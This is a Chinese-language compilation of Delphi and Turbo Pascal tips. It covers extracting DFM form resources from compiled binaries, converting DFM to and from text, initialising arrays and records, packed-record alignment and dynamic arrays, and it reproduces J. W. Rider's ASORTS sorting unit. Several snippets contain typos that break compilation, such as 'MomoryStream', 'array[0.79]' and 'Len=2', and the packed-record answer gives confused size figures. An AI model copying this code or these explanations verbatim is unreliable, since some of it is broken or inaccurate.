if Reader.NextValue in [vaInt8, vaInt16, vaInt32] then

begin

WriteStr(' [');

ConvertValue;

WriteStr(']');

end;

WriteStr(sLineBreak);


提取Delphi(BCB)编译过的exe和dll或bpl,dpl文件中的窗体代码

提取Delphi(BCB)编译过的exe和dll或bpl,dpl文件中的窗体代码

function EnumResProc (hMod: THandle; ResType, ResName: PChar; Self: TPeekForm): Boolean; stdcall;

var

h: THandle;

p: pDWord;

begin

// OK - we've got a rc_Data resource, but is it a DFM?

h := LoadResource (hMod, FindResource (hMod, ResName, ResType));

p := LockResource (h);

if p^ = $30465054 then Self.FormList.Items.Add (ResName);

Result := True;

end;

procedure TPeekForm.Clear;

begin

if hMod > 0 then FreeLibrary (hMod);

FormData.Lines.Clear;

FormList.Clear;

end;

procedure TPeekForm.GetResourceInfo;

var

hTemp: THandle;

begin

hTemp := LoadLibraryEx (PChar (OpenDialog.FileName), 0, Load_Library_As_DataFile);

if hTemp <> 0 then begin

Clear; hMod := hTemp;

Caption := Format ('Form Peeker - [%s]', [OpenDialog.FileName]);

EnumResourceNames (hMod, rt_rcData, @EnumResProc, Integer (Self));

if FormList.Items.Count > 0 then begin

FormList.ItemIndex := 0;

FormListClick (Self);

end;

end;

end;

procedure TPeekForm.FormDestroy (Sender: TObject);

begin

Clear;

end;

procedure TPeekForm.OpenButtonClick(Sender: TObject);

begin

if OpenDialog.Execute then GetResourceInfo;

end;

procedure TPeekForm.FormListClick(Sender: TObject);

var

sText: TMemoryStream;

sRes: TResourceStream;

begin

with FormList do if ItemIndex <> -1 then begin

sRes := TResourceStream.Create (hMod, Items [ItemIndex], rt_rcData);

try

sText := TMemoryStream.Create;

try

ObjectBinaryToText (sRes, sText);

sText.Position := 0;

FormData.Lines.LoadFromStream (sText);

finally

sText.Free;

end;

finally

sRes.Free;

end;

end;

end;


DFM文件与标准文本文件转换

DFM文件与标准文本文件转换

整理编辑：China ASP

    在Delphi可视化设计环境中，允许程序员在代码编辑器中以文本的方式浏览和修改DFM文件内容。当用File/Open命令直接打开DFM文件或者选择窗体设计窗口的弹出式菜单上的View as Text命令时，就会在编辑器中出现文本形式的信息。在一些资料中将这种文本形式称之为窗体设计脚本。Delphi提供的这种脚本编辑功能是对Delphi可视化设计的一大补充。当然这个脚本编辑能力是有限制的，比方说不能在脚本任意地添加和删除部件，因为代码和DFM脚本是紧密相连的，任意添加和修改会导致不一致性。但在动态生成的DFM文件中，就不存在这一限制。

    实际上，DFM文件内容是二进制数据，它的脚本是经过Delphi开发环境自动转化的，而且Delphi VCL中的Classes库单元提供了在二进制流中的文件DFM和它的脚本之相互转化的过程。它们是ObjectBinaryToText和ObjectTextToBinary、ObjectResourceToText和ObjectTextToResource。

    ObjectBinaryToText过程将二进制流中存储的部件转化为基于文本的表现形式，这样就可以用文本处理函数进行处理，还可以用文本编辑器进行查找和替代操作，最后可以将文本再转化成二进制流中的部件。

    ObjectTextToBinary过程执行的功能与ObjectBinaryToText相反，将TXT文件转换为二进制流中的部件，而且只要TXT文件内容的书写符合DFM脚本语法，ObjectTextToBinary可将任何程序生成的TXT文件转换为部件，这一功能也为DFM文件的动态生成和编辑奠定了基础。

    DFM文件与DFM脚本语言之间相互转换的任务由ObjectResourceToText和ObjectTextToResource两个过程完成。下面以我所拥有的Delphi编程资料作详细说明：

    ObjectResourseToText过程比较简单，如下：

     procedure ObjectResourceToText(Input,Output:TStream);

     begin

     Input.ReadResHeader；

     ObjectBinaryToText(Input,Output);

     end；

    ObjectTextToResource过程就比较复杂，因为DFM文件资源头中要包含继承标志信息，因此在调用ObjectTextToBinary后，就读取标志信息，然后写入资源头。

     procedure ObjectTextToResource(Input,Output:TStream)；

     var

     Len:Byte;

     Tmp:Longint;

     MemoryStream:TMemoryStream;

     MemorySize:Longint;

     Header:array[0.79] of Char;

     begin

     MomoryStream:=TMemoryStream.Create;

   try

     ObjectTextToBinary(Input,MemoryStream);

     MemorySize:=MemoryStream.Size;

     FillChar(Header,SizeOF(Header),0);

    MemoryStream.Position:=SizeOf(Longint);{Skip header}

     MemoryStream.Read(Len,1);

     if Len and ＄F0=＄F0 then

     begin

     if ffChildPos in TFilerFlags(Len and ＄F0) then

     begin

     MemoryStream.Read(Len,1);

     case TValueType(Len) of

     vaInt8:Len:=1;

     vaInt16:Len=2;

     vaInt32:Len=4;

     end;

     MemoryStream.Read(Tmp,Len);

     end;

     MemoryStream.Read(Len,1);

  end;

     MemoryStream.Read(Header[3],Len);

    StrUpper(@Header[3]);

     Byte((@Header[0])^):=＄FF;

    Word((@Header[1])^):=10;

     Word((@Header[Len＋4])^):=＄1030;

    Longint((@Header[Len＋6])^):=MemorySize;

     Output.Write(Header,Len＋10);

    Output.Write(MemoryStream.Memory^,MemorySize);

finally

    MemoryStream.Free;

   end;

**************************

如何在运行过程中将本窗体保存成一个文本格式的.dfm文件？

zswang(伴水)　(2001-11-21 9:52:59) 得0分

function ComponentToString(Component: TComponent): string;

var

BinStream: TMemoryStream;

StrStream: TStringStream;

s: string;

begin

BinStream := TMemoryStream.Create;

try

StrStream := TStringStream.Create(s);

try

BinStream.WriteComponent(Component);

BinStream.Seek(0, soFromBeginning);

ObjectBinaryToText(BinStream, StrStream);

StrStream.Seek(0, soFromBeginning);

Result := StrStream.DataString;

finally

StrStream.Free;

end;

finally

BinStream.Free

end;

end; { ComponentToString }

function StringToComponent(Value: string; Instance: TComponent): TComponent;

var

StrStream: TStringStream;

BinStream: TMemoryStream;

begin

StrStream := TStringStream.Create(Value);

try

BinStream := TMemoryStream.Create;

try

ObjectTextToBinary(StrStream, BinStream);

BinStream.Seek(0, soFromBeginning);

Result := BinStream.ReadComponent(Instance);

finally

BinStream.Free;

end;

finally

StrStream.Free;

end;

end; { StringToComponent }

回复人：　zswang(伴水)　(2001-11-21 9:54:28) 得0分

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Text := ComponentToString(Self);

end;

回复人：　zswang(伴水)　(2001-11-21 9:58:13) 得0分

procedure TForm1.Button2Click(Sender: TObject);

begin

StringToComponent(

'object Label1: TLabel'#13#10 +

' Left = 232'#13#10 +

' Top = 56'#13#10 +

' Width = 26'#13#10 +

' Height = 13'#13#10 +

' Caption = #20320#22909'#13#10 +

' Font.Charset = GB2312_CHARSET'#13#10 +

' Font.Color = clRed'#13#10 +

' Font.Height = -13'#13#10 +

' Font.Name = #23435#20307'#13#10 +

' Font.Style = []'#13#10 +

' ParentFont = False'#13#10 +

'end'#13#10, Label1);

end;

//要注册类


常量数组的定义和初始化

我要定义一个字符串常量数组，怎么定义并进行初始化？好像下面的代码不行：

const

Error_Msg=array [0..3] of string=('First','Second','Third');

其实很简单，把第一个等于号改成冒号即可：

const

Error_Msg:array [0..3] of string=('First','Second','Third');

下面是多维数组的初始化：

const

WordOptName:array[0..1,0..1,0..1] of string=(

(('',''),('','')),

(('',''),('','')));


记录、集合的初始化

Type TTest = Record

ID: Integer

Item: word;

end;

记录初始化：

const

ATest:TTest=(Id:0;Item:0);

下面是一个复杂的记录的初始化：

TGUID = packed record

D1: LongWord;

D2: Word;

D3: Word;

D4: array[0..7] of Byte;

end;

POLIT_GUID: TGUID = (D1:10;D2:10;D3:10;D4:(1,2,3,4,5,6,7,8));

数组初始化：

TTestA = Record

ItemA: String;

ItemB: String;

ItemC: Integer;

end;

Type Test = Record

ID: Integer

Item: TTestA;

end;

Const

First: Array [0 .. 2] of TTestA = (

//该如何写这段初始化);

Secord:array [0..2] of Test=(///初始化代码如何写？);

回答：

集合的初始化必须明确指定每一个字段的名称和值，并且各个字段之间用;分隔。

First: array[0..1] of TTestA = (

(ItemA: '0 ItemA String'; ItemB: 'ItemB String'; ItemC: 10),

(ItemA: '1 ItemA String'; ItemB: '1 ItemB String'; ItemC: 20),

()

);

Secord: array[0..1] of Test = (

(ID: 10; Item: (ItemA: 'Test 0 ItemA'; ItemB: 'Test 0 ItemB'; ItemC: 10)),

(ID: 20; Item: (ItemA: 'Test 1 ItemA'; ItemB: 'Test 1 ItemB'; ItemC: 20)),

()

);


如何进行结构的转换和复制

可以采用下面的方法，但是这是极不安全的。

type

TA=record

i:integer;

b:integer;

end;

type

TB=record

i:integer;

b:byte;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

pa,pb:^byte;

a:ta;

b:tb;

i:integer;

begin

a.i:=100;

a.b:=200;

pa:=@a;

pb:=@b;

for i:=1 to sizeof(b) do

begin

pb^:=pa^;

inc(pb);

inc(pa);

end;

showmessage(inttostr(b.i)+' '+inttostr(b.b));

end;


Packed Record的问题

记录类型的内存分配！

Packed Record和Record的不同之处！

type

MyRec=Record

var1:integer;

var2,var3,var4,var5,var6,var7,var8:shortint;

var9:integer;

var10:shortint;

var11:integer;

var12,var13:shortint;

end;

...

ShowMessage(intTostr(SizeOf(MyRec)));

结果显示为18，而按我想象应为16。请高手讲解一下Delphi5.0中变量内存空间分配机制，因为我有一个数组MyArray:Array[1..1000000] of MyRec;需要考虑节省内存问题，

另外不要说我懒不爱看书，我手头所有关于Delphi的书都没有提到这个问题。

回答：

显示的结果应该为28，而不是18！按道理应该是22。用Packed的结果就是22。

拟定义的数组比较大，应该用packed record！

原因如下：

在Windows中内存的分配一次是4个字节的。而Packed按字节进行内存的申请和分配，这样速度要慢一些，因为需要额外的时间来进行指针的定位。因此如果不用Packed的话，Delphi将按一次4个字节的方式申请内存，因此如果一个变量没有4个字节宽的话也要占4个字节！这样就浪费了。按上面的例子来说：

var1:integer;//integer刚好4个字节！

var2-var5占用4个字节，Var6-Var8占用4个字节，浪费了一个字节。

var9:integer//占用4个字节；

var10:占用4个字节；浪费3个字节

var11:占用4个字节；

var12,var13占用4个字节；浪费2个字节

所以，如果不用packed的话，那么一共浪费6个字节！所以原来22个字节的记录需要28个字节的内存空间！

****************

回复人：eDRIVE(eDRIVE)　(2001-3-2 17:45:00) 得0分

这是因为在32位的环境中，所有变量分配的内存都进行“边界对齐”造成的。这样做可以对速度有优化作用；但是单个定义的变量至少会占用32位，即4个字节。所以会有长度误差，你可以用packed关键字取消这种优化。

深入的分析，内存空间（不是内存地址）在计算机中划分为无数与总线宽度一致的单位，单位之间相接的地方称为“边界”；总线在对内存进行访问时，每次访问周期只能读写一个单位（32bit），如果一个变量横跨“边界”的话，则读或写这个变量就得用两个访问周期，而“边界对齐”时，只需一个访问周期，速度当然会有所优化。


关于数组的一个问题

我们知道，在Delphi中有一个Type的Byte Array!这个有什么用呢？其实这个可以作为动态数组来使用，例如，我们可以Type一个尽可能大的数组：

Type

TMyByteArray=array[0..32767] of integer; ////也可以使用记录！

PMyByteArray=^TMyByteArray;

不用担心内存的问题，是用Type定义数组的时候，是没有分配内存的，需要到变量的时候才会分配内存，因此，我们定义变量的时候，应该使用指针！

var

Demo:PMyByteArray;

使用的时候，可以使用GetMem来申请内存：

GetMem(Demo,500*SizeOf(integer)); ///这样，Demo就有500个数组元素了

以后就可以使用了。：）

下面给出一些编写好的通用的例程：

Procedure AllocArray( Var pArr: Pointer; items, itemsize: Cardinal;

Var maxIndex: Cardinal);

Begin

If items > 0 Then Begin

GetMem( pArr, items * itemsize);

maxIndex := Pred( items );

End

Else Begin

pArr := Nil;

maxIndex := 0; { WARNING! This is still an invalid index here! }

End;

End;

Procedure ReDimArray( Var pArr: Pointer; newItems, itemsize: Cardinal;

Var maxIndex: Cardinal );

Begin

If pArr = Nil Then

AllocArray( pArr, newItems, itemsize, maxIndex )

Else Begin

ReAllocMem( pArr, Succ(maxIndex)*itemsize,

newItems*itemsize);

maxIndex := Pred( newItems );

End;

End;

Procedure DisposeArray( Var pArr: Pointer; itemsize, maxIndex: Cardinal );

Begin

FreeMem( pArr, Succ(maxIndex)*itemsize);

End;

调用示例如下：

type

{we can directly declare a pointer to an array, no need to declare

the array first}

PDoubleArray = ^Array [0..High(Cardinal) div Sizeof(Double) -1] of

Double;

Var

pDbl: PDoubleArray;

maxIndex, i: Cardinal;

deg2arc: Double;

Begin

deg2arc := Pi/180.0;

try

AllocArray( pDbl, 360, Sizeof( Double ), maxIndex );

For i:= 0 To maxIndex Do

pDbl^[i] := Sin( Float(i) * deg2arc );

ReDimArray( pDlb, 720, Sizeof( Double ), maxIndex );

For i:= 360 To maxIndex Do

pDbl^[i] := Cos( Float(i-360) * deg2arc );

finally

DisposeArray( pDbl, Sizeof(Double), maxIndex );

end;


如何传递数组给过程或者函数

问：我用procedure Proc(var A:array[1..10] of integer);怎么都不能编译通过，难道Delphi不能传递数组作为参数吗？

答：必须先用Type定义一下即可：

type

TProcArray=array[1..10] of integer;

procedure Proc(var A:TProcArray);

这样就没有问题了，而且对于动态数组也可以用上面的方法！使用动态数组的时候，有一个问题是如何遍历每一个数据项？采用类似的代码即可：

procedure Proc(var A:TProcArray);

var

i:integer;

begin

....

for i:=Low(A) to High(A) do

/// A[i]就是每一个数据项

....

end;


动态数组的长度设置
多维的动态数组的设置直接使用setlength(a,1,2,3)的就可以了,注意,a必须是一个3维的数组!以次类推.


通用数组操作函数

Notice: This unit makes extensive use of array types that exceed the maximum "safe" size of 65519 bytes. While the compiler "allows" the declaration without error, application program should not ordinarily try to allocate memory to such structures. Segment wraparound problems can otherwise occur. For instance, most of these routines will not work on an array that "straddles" a segment boundary. If you notice carefully in this unit, the large arrays are used only for typecasting purposes, and no memory is allocated to them.

{ General-purpose array manipulation routines by J. W. Rider }

unit asorts; {Last modified: 09APR91}

interface

{ $define MONITOR} { <--- remove space before "$" to enable

monitoring various sorting routines }

{$ifdef MONITOR}

var monitor : procedure; { for monitoring results of sort }

procedure nullmonitor; { to turn monitoring off }

{$endif}

{ *** Type definitions *** }

{ "comparefunc" -- comparison function argument for "qsort", "bsearch"

"lfind" and "lsearch"

"icomparefunc"-- comparison function argument for "virtual" routines

"swapproc" -- exchange procedure for "virtual" routines

"testfunc" -- test function argument for "scan" }

type comparefunc = function (var a,b):longint;

icomparefunc= function (a,b:longint):longint;

swapproc = procedure(a,b:longint);

testfunc = function (var a):boolean;

{ *** C compatibility routines *** }

{ "qsort", "bsearch", "lfind", "lsearch" and "swab" are analogous to

standard C functions of the same names }

{ quicksort the elements of an array }

procedure qsort(var base; length_base, sizeof_element:word;

f:comparefunc);

{ binary search a sorted array for an element}

function bsearch(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

{ linear search an array for an element }

function lfind(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

{ linear search an array for an element; append if not found }

function lsearch(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

{ move one array of words to another, swapping bytes }

procedure swab(var source, destination; numwords:word);

{ *** "riderized" (i.e, generally nonstandard) routines *** }

{ the remaining routines generally have no standard implementation in other

languages }

{ binary search a sorted array for an element. Return the index of

its location, or the negative of the index where it should be inserted }

function bfind(var key,base; length_base, sizeof_element:word;

f:comparefunc):longint;

{ inserts an element into a sorted array. }

function binsert(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

{ fibonacci search a sorted array; marginally faster than "bsearch" }

function fibsearch(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

{ fill an array with an element }

procedure fill(var key,destination; count, sizeof_element:word);

{ order an array by the "heapsort" algorithm }

procedure heapsort(var base; length_base, sizeof_element:word;

f:comparefunc);

{ return the address of variable as a longint value }

function longaddr(var x):longint;

{ a not-so-quick sorting routine, compare with qsort }

procedure naivesort(var base; length_base, sizeof_element:word;

f:comparefunc);

{ scan a subarray for the first element that meets a specific criteria }

function scan(var source; count, sizeof_element:word; f:testfunc):word;

{ order an array by the "selection sort" algorithm }

procedure selsort(var base; length_base, sizeof_element:word;

f:comparefunc);

{ order an array by the "shell sort" algorithm }

procedure shellsort(var base; length_base, sizeof_element:word;

f:comparefunc);

{ randomly permute the elements of an array }

procedure shuffle(var base; length_base, sizeof_element:word);

{ fill a subarray with an element }

procedure subfill(var key,destination;

count, sizeof_key,sizeof_element:word);

{ move subarray to array or array to subarray }

procedure submove(var source,destination;

count, sizeof_source, sizeof_destination:word);

{ swap two elements or variables of the same size }

procedure swap(var var1,var2; sizeof_element:word);

{ sort a "virtual" array by the quicksort algorithm }

procedure vqsort(length_base:longint; f:icomparefunc; s:swapproc);

{ sort a "virtual" array by using a selection sort algorithm }

procedure vselsort(length_base:longint; f:icomparefunc; s:swapproc);

{ randomly permute a "virtual" array }

procedure vshuffle(length_base:longint; s:swapproc);

{ move subarray to subarray }

procedure xsubmove(var source,destination;

count,sizeof_source,sizeof_destination,sizeof_move:word);

implementation

function bfind(var key,base; length_base, sizeof_element:word;

f:comparefunc):longint;

var b:array [0..$fffe] of byte absolute base; l,h,x,c:longint;

begin if length_base>0 then begin

l:=0; h:=pred(length_base);

repeat

x:=(l+h) shr 1; c:=f(key,b[x*sizeof_element]);

if c<0 then h:=pred(x)

else if c>0 then l:=succ(x)

else{if c=0 then}begin bfind:=succ(x); exit; end;

until l>h;

bfind:=-l; end

else bfind:=0; end;

function binsert(var key,base;length_base,sizeof_element:word;

f:comparefunc):word;

var b:array [0..$fffe] of byte absolute base; x:longint;

begin

x:=bfind(key,base,length_base,sizeof_element,f);

if x<=0 then x:=-x else dec(x);

move(b[x*sizeof_element],b[succ(x)*sizeof_element],

(length_base-x)*sizeof_element);

move(key,b[x*sizeof_element],sizeof_element);

binsert:=succ(x); end;

function bsearch(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

var c:longint;

begin

c:=bfind(key,base,length_base,sizeof_element,f);

if c>0 then bsearch:=c

else bsearch:=0; end;

function fibsearch(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

var b:array [0..$fffe] of byte absolute base; i,p,q,imax:word; t:longint;

begin

imax:=length_base*sizeof_element;

q:=0; p:=sizeof_element; i:=p+q; { set up for fibonacci sequencing }

while imax>(i+p) do begin q:=p; p:=i; inc(i,q); end;

dec(i,sizeof_element); {zero-base adjustment}

while true do begin

if i<imax then t:=f(key,b[i])

else t:=-1; { simulate "too big" for "out of range" }

if t=0 then begin fibsearch:=succ(i div sizeof_element); exit end

else if t<0 then

if q=0 then begin fibsearch:=0; exit end

else begin dec(i,q); q:=p-q; dec(p,q) end

else { if t>0 then }

if p=sizeof_element then begin fibsearch:=0; exit end

else begin inc(i,q); dec(p,q); dec(q,p) end end end;

procedure fill(var key,destination; count, sizeof_element:word);

var b:array [0..$fffe] of byte absolute destination;

x,moved:word;

begin if count>0 then begin

move(key,destination,sizeof_element);

moved:=1; dec(count); x:=sizeof_element;

while count>moved do begin

move(destination,b[x],x);

dec(count,moved); moved:=moved shl 1; x:=x shl 1; end;

move(destination,b[x],count*sizeof_element); end; end;

procedure heapsort(var base; length_base, sizeof_element:word;

f:comparefunc);

var b: array[0..$fffe] of byte absolute base;

p:pointer; nx:longint; k,kx:word;

procedure aux1(kx:word);

procedure aux2; var jx:word;

begin

while kx<=(nx shr 1) do begin

jx:=kx shl 1;

if (jx<nx) and (f(b[jx],b[jx+sizeof_element])<0) then

inc(jx,sizeof_element);

if f(p^,b[jx])>=0 then exit;

move(b[jx],b[kx],sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

kx:=jx end end;

begin {aux1}

move(b[kx],p^,sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

aux2;

move(p^,b[kx],sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

end;

begin {heapsort}

getmem(p,sizeof_element);

nx:=pred(length_base)*sizeof_element;

for k:=(length_base shr 1) downto 1 do aux1(pred(k)*sizeof_element);

repeat

swap(b[0],b[nx],sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then begin monitor; monitor; monitor end;

{$endif}

dec(nx,sizeof_element);

aux1(0);

until nx<=0;

freemem(p,sizeof_element) end;

function lfind(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

var b:array [0..$fffe] of byte absolute base; i,j:word;

begin

j:=0;

for i:=1 to length_base do begin

if f(key,b[j])=0 then begin lfind:=i; exit end;

inc(j,sizeof_element); end;

lfind:=0; end;

function longaddr(var x):longint;

begin longaddr:=(longint(seg(x)) shl 4) + ofs(x); end;

function lsearch(var key,base; length_base, sizeof_element:word;

f:comparefunc):word;

var b:array [0..$fffe] of byte absolute base; i:word;

begin

i:=lfind(key,base,length_base,sizeof_element,f);

if i=0 then begin

move(key,b[length_base*sizeof_element],sizeof_element);

lsearch:=succ(length_base); end

else lsearch:=i; end;

procedure naivesort(var base; length_base, sizeof_element:word;

f:comparefunc);

var b: array[0..$fffe] of byte absolute base;

i,j,l,r:word;

begin

i:=0;

for l:=1 to pred(length_base) do begin

j:=i+sizeof_element;

for r:=succ(l) to length_base do begin

if f(b[i],b[j])>0 then begin

swap(b[i],b[j],sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

end;

inc(j,sizeof_element); end;

inc(i,sizeof_element); end; end;

{$ifdef MONITOR}

{ dummy "monitor" }

procedure nullmonitor; begin pointer((@@monitor)^):=NIL end;

{$endif}

procedure qsort(var base; length_base, sizeof_element:word;

f:comparefunc);

var b: array[0..$fffe] of byte absolute base;

j:longint; x:word; { not preserved during recursion }

procedure sort(l,r: word);

var i:longint;

begin

i:=l*sizeof_element;

while l<r do begin

j:=r*sizeof_element;

x:=((longint(l)+r) SHR 1)*sizeof_element;

while i<j do begin

while f(b[i],b[x])<0 do inc(i,sizeof_element);

while f(b[x],b[j])<0 do dec(j,sizeof_element);

if i<j then begin

swap(b[i],b[j],sizeof_element);

if i=x then x:=j else if j=x then x:=i;

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

end;

if i<=j then begin

inc(i,sizeof_element); dec(j,sizeof_element) end; end;

if (l*sizeof_element)<j then sort(l,j div sizeof_element);

l:=i div sizeof_element; end; end;

begin sort(0,pred(length_base)); end; {procedure qsort}

function scan(var source; count, sizeof_element:word; f:testfunc):word;

var b:array[0..$fffe] of byte absolute source;

i,j:word;

begin

j:=0;

for i:=1 to count do begin

if f(b[j]) then begin scan:=i; exit; end;

inc(j,sizeof_element); end;

scan:=0; end;

procedure selsort(var base; length_base, sizeof_element:word;

f:comparefunc);

var b:array[0..$fffe] of byte absolute base;

i,ix,j,jx,k,kx:word;

begin

ix:=0;

for i:=1 to pred(length_base) do begin

kx:=ix; jx:=ix;

for j:=succ(i) to length_base do begin

inc(jx,sizeof_element);

if f(b[jx],b[kx])<0 then kx:=jx end;

if kx<>ix then begin

swap(b[kx],b[ix],sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

end; inc(ix,sizeof_element) end; end;

procedure shellsort(var base; length_base, sizeof_element:word;

f:comparefunc);

var b:array[0..$fffe] of byte absolute base;

p:pointer; h,jx:longint; i,hx,ix:word;

procedure aux; begin

while f(b[jx-hx],p^)>0 do begin

move(b[jx-hx],b[jx],length_base); dec(jx,hx);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

if jx<hx then exit end end;

begin if length_base>0 then begin

getmem(p,length_base);

if p<>nil then begin

h:=1; repeat h:=3*h+1 until h>length_base;

repeat

h:=h div 3; hx:=h*sizeof_element; ix:=hx;

for i:=succ(h) to length_base do begin

move(b[ix],p^,sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

jx:=ix; aux;

if jx<>ix then move(p^,b[jx],sizeof_element);

{$ifdef MONITOR}

if @monitor<>nil then monitor;

{$endif}

inc(ix,sizeof_element) end;

until h=1;

freemem(p,length_base) end end end;

procedure shuffle(var base; length_base, sizeof_element:word);

var b: array[0..$fffe] of byte absolute base;

i,ix,j,jx:word;

begin if length_base>0 then

for i:=pred(length_base) downto 1 do begin

ix:=i*sizeof_element;

j:=random(succ(i));

if i<>j then begin

jx:=j*sizeof_element;

swap(b[ix],b[jx],sizeof_element); end; end; end;

procedure subfill(var key,destination;

count, sizeof_key,sizeof_element:word);

var b:array [0..$fffe] of byte absolute destination; i,j:word;

begin

j:=0;

for i:=1 to count do begin

move(key,b[j],sizeof_key);

inc(j,sizeof_element); end; end;

procedure submove(var source, destination;

count, sizeof_source,sizeof_destination:word);

var sm:word;

begin if sizeof_source=sizeof_destination then

move(source,destination,count*sizeof_source)

else begin

if sizeof_source>sizeof_destination then sm:=sizeof_destination

else sm:=sizeof_source;

xsubmove(source,destination,

count,sizeof_source,sizeof_destination,sm); end; end;

procedure swab(var source, destination; numwords:word);

var a: array [1..$7fff] of word absolute source;

b: array [1..$7fff] of word absolute destination;

i:word;

begin if longaddr(source)>=longaddr(destination) then

for i:=1 to numwords do b[i]:=system.swap(a[i])

else

for i:=numwords downto 1 do b[i]:=system.swap(a[i]) end;

procedure swap(var var1,var2; sizeof_element:word);

type chunk = array [0..$f] of byte;

var a:array [0..$fffe] of byte absolute var1;

b:array [0..$fffe] of byte absolute var2;

ac: array [1..$fff] of chunk absolute var1;

bc: array [1..$fff] of chunk absolute var2;

c:chunk; { swap buffer }

k:byte; x:word;

procedure swapchunk(var e,f:chunk);

begin c:=e; e:=f; f:=c; end;

procedure swapbytes(var e,f; len:byte);

begin move(e,c,len); move(f,e,len); move(c,f,len); end;

begin

for k:=1 to (sizeof_element shr 4) do swapchunk(ac[k],bc[k]);

k:=(sizeof_element and $f);

if k>0 then begin

x:=(sizeof_element and $fff0); swapbytes(a[x],b[x],k); end; end;

procedure vqsort(length_base:longint; f:icomparefunc; s:swapproc);

var j,x:longint; { not preserved during recursion }

procedure sort(l,r:longint);

var i:longint;

begin

i:=l; j:=r;

x:=(i+j) SHR 1;

while i<j do begin

while f(i,x)<0 do inc(i);

while f(x,j)<0 do dec(j);

if i<j then begin

s(i,j);

if i=x then x:=j else if j=x then x:=i; end;

if i<=j then begin inc(i); dec(j) end; end;

if l<j then sort(l,j);

if i<r then sort(i,r); end;

begin sort(1,length_base); end; {procedure vqsort}

procedure vselsort(length_base:longint; f:icomparefunc; s:swapproc);

var i,j,k:longint;

begin for i:=1 to pred(length_base) do begin

k:=i;

for j:=succ(i) to length_base do if f(j,k)<0 then k:=j;

if k<>i then s(k,i) end end;

procedure vshuffle(length_base:longint; s:swapproc);

var i,j:longint;

begin for i:=length_base downto 2 do begin

j:=succ(random(i));

if i<>j then begin s(i,j); end; end; end;

procedure xsubmove(var source,destination;

count,sizeof_source,sizeof_destination,sizeof_move:word);

var a:array [0..$fffe] of byte absolute destination;

b:array [0..$fffe] of byte absolute source;

i,j,k:word; r:boolean;

begin

r:=longaddr(source)>=longaddr(destination);

if r then begin j:=0; k:=0; end

else begin

j:=pred(count)*sizeof_destination; k:=pred(count)*sizeof_source; end;

for i:=1 to count do begin

move(b[k],a[j],sizeof_move);

if r then begin

inc(j,sizeof_destination); inc(k,sizeof_source) end

else begin

dec(j,sizeof_destination); dec(k,sizeof_source) end; end; end;

{$ifdef MONITOR}

begin {initialization}

nullmonitor;

{$endif}

end.

Notes on using the above unit:

ASORTS

General-purpose routines for sorting, searching and moving arrays of arbitrary elements.

by J. W. Rider

ASORTS provides the Turbo Pascal programmer with type definitions, functions and procedures to handle a variety of array sorting and searching tasks. Several of these are analogous to functions of the same name in the C programming language:

qsort -- sort an array

bsearch -- do a binary search of a sorted array for an element that satisfies some key

lfind -- do a sequential ("linear") search of an unsorted (or sorted) array for an element that satisfies some key

lsearch -- do a sequential search of an unsorted (or sorted) array for an element that satisfies some key. If

the element is not found, then it is appended to the end of the array.

(Non-C programmers: please note that "bsearch" and "lfind" -- not "lsearch"! -- do the equivalent task for sorted and unsorted arrays, respectively. It would make more sense to have "bfind" to search through a sorted array, and make "bsearch" insert a missing element into the array at the right location. However, these routines are provided for compatibility in converting C programs.)

swab -- move one portion of memory to another, swapping high and low order bytes in the process

There are some routines that are provided for utility above and beyond what is available in standard C libraries:

bfind -- do a binary search of a sorted array for an element that satisfies some key. (This differs from "bsearch" in that is "bfind" reports the "insertion index" if the key element is not found.)

binsert -- do a binary search of a sorted array for an element that satisfies some key. If the element is not found, then the key element is inserted in the proper location in the array to maintain the sorted order.

fibsearch-- searches an ordered array using a "fibonacci" search algorithm.

fill -- moves a single item into all of the elements of an array

heapsort -- order an array by the "heapsort" algorithm.

longaddr -- returns the address of a variable expressed as a longint value

naivesort-- a particularly inefficient sorting algorithm that the author has been known to use when "qsort" was not available. (The use of "naivesort" in applications is NOT recommended!)

scan -- returns the index of the first element in an array that meets a specific criterion.

selsort -- "selection" sorting, another sorting routine.

shellsort-- yet another sorting routine, different from the rest.

shuffle -- randomly permutes ("unsorts") the elements of an array

subfill -- moves a single item into all of the elements of a subarray of the base array

submove -- moves the elements of the source array into a subarray of the destination array (or, the elements of a subarray of the source to the destination array)

swap -- Exchanges two array elements or variables.

(NOTE! The "Asorts.Swap" procedure replaces the default "System.Swap" which simply exchanges the high and low-order bytes of a two byte expression.)

vqsort -- a quicksort algorithm for "virtual" arrays. "VQSort" does not presume any kind of structure inherent within the "thing" being sorted. Instead, "VQSort" provides the sorting logic to other routines that will perform the actual comparisons and exchanges.

vselsort -- a "virtual" selection sort.

vshuffle -- a "virtual" shuffler.

xsubmove -- moves the elements of a subarray of the source array into the elements of a subarray of the destination.

While these routines are provided to be of assistance to the programmer, the number of different searching and sorting algorithms does raise the issue of how to select any one algorithm for the programmer to employ.

Unfortunately, that is very application dependent. For general purpose array sorting, you would do well to compare the "qsort" and "shellsort" routines on your actual data. For sorting of typed files, I'd suggest a

variant of "VSelSort".

CONCEPTS

The ARRAYs to be manipulated are passed as "untyped vars" to these routines. (In the "Interface" section, these arrays are called "base", "source" or "destination".) These routines will treat the ARRAYs as if they were declared to be of type:

ArrayType = ARRAY [1..MaxArray] OF ElementType

WARNING! It is *very* important to avoid defining an array so that the last byte is in a memory segment different from the first byte. As long as you never declare an array larger than 65519, or $10000-15, bytes, it should not be a problem.

